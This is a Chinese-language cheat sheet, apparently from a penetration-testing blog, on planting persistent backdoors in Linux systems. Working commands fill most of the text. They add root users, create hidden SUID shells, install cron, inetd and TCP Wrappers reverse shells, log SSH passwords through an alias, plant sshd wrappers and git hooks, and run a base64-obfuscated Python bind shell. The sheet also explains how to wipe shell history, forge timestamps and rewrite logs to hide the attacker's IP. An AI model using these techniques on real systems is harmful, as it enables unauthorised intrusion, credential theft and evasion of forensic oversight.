linux持久化后门
添加超级用户
echo "user:x:0:0::/:/bin/sh" >> /etc/passwd
使用命令查看用户
cat etc/passwd
如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "user::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
SUID shell
Suid shell是一种可用于以拥有者权限运行的shell,如果拥有者是root
那么任何运行了这个shell的用户便可以控制整个系统,如增加用户、修改root口令、清除日志等等。
root权限下执行
cp /bin/bash /.test
chmod 4755 /.test
这个放的目录要尽可能隐蔽,最好是子子子目录然后找一个相似的命名。
切换普通用户
/.test
不过bash2针对suid做了一些措施 加个参数就行
/.test -p
alias 后门
当前用户目录下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
inetd
修改/etc/inetd.conf
laytime stream tcp nowait root /bin/bash bash -i
然后nc直接连接就好
nc -vv 49.235.xx.xx
还可以配合修改/etc/service 改为常用端口隐藏
laytime 8081/tcp #backdoor
crontab后门
redis未授权访问也是利用这个,我们可以设置每隔一段时间反弹一次shell
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
分析
echo '*/60 * * * *'
crontab格式 每隔60分钟执行一次
exec 9<>/dev/tcp/127.0.0.1/8888
以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9
要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的
exec 0<&9;exec 1>&9 2>&1;
linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr
n >&m 表示使文件描述符n成为描述符m的副本
exec 0<&9; 将fd9从定向到标准输入;
exec 1>&9 2>&1; 将标准输出从定向到文件fd9,将标准错误从定向到标准输出.
简单的理解为fd9=fd0 fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.
/bin/bash --noprofile -i
打开一个shell
ssh公钥免密
ssh-keygen -t rsa
把自己本地生成的公钥id_rsa.pub传到目标服务器
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
ssh软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
直接ssh连接5555端口就行,密码随便输入。但是有些限制了root不许远程登录不能指定root用户
SSH wrapper后门
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接
socat STDIO TCP4:target_ip:22,sourceport=13377
PAM
https://github.com/litsand/shell/blob/master/pam.sh
隐身登录
隐身登录系统,不会被last who w等指令检测到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
隐藏文件
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
Git hooks
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1
当更新git的时候会触发:
git commit -am "Test"
PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND
,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log'
使用
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
解密
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)
python socks监听命令
NC连接
nc 192.168.1.174 1025
PROMPT_COMMAND提权
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his
记录保存为录像
scriptreplay demo.time demo.his
播放记录
用户家目录下,修改环境变量,使得用户登录就会触发录像
vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his
Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令
sudo su -c "echo 'user ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"
https://segmentfault.com/a/1190000007394449
TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
ssh访问目标主机ssh qweqwe@192.168.4.100
触发后门
进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888
https://github.com/jorik041/cymothoa
其他一些小技巧
bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null
修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
Linux日志清除
首先是Apache日志,Apache主要的日志就是access.log``error_log
,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log
#错误日志
log=/var/log/mysql/mysql.log
#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log
# 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log
#慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log
至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log
最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要在/etc/logrotate.d/syslog
中
/var/log/maillog
,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages
,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp
,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp
,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog
,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history
,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
清除脚本:
https://github.com/JonGates/jon
参考文章:
我所了解的渗透测试——Linux后门类型 - 安全客,安全资讯平台 (anquanke.com)
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save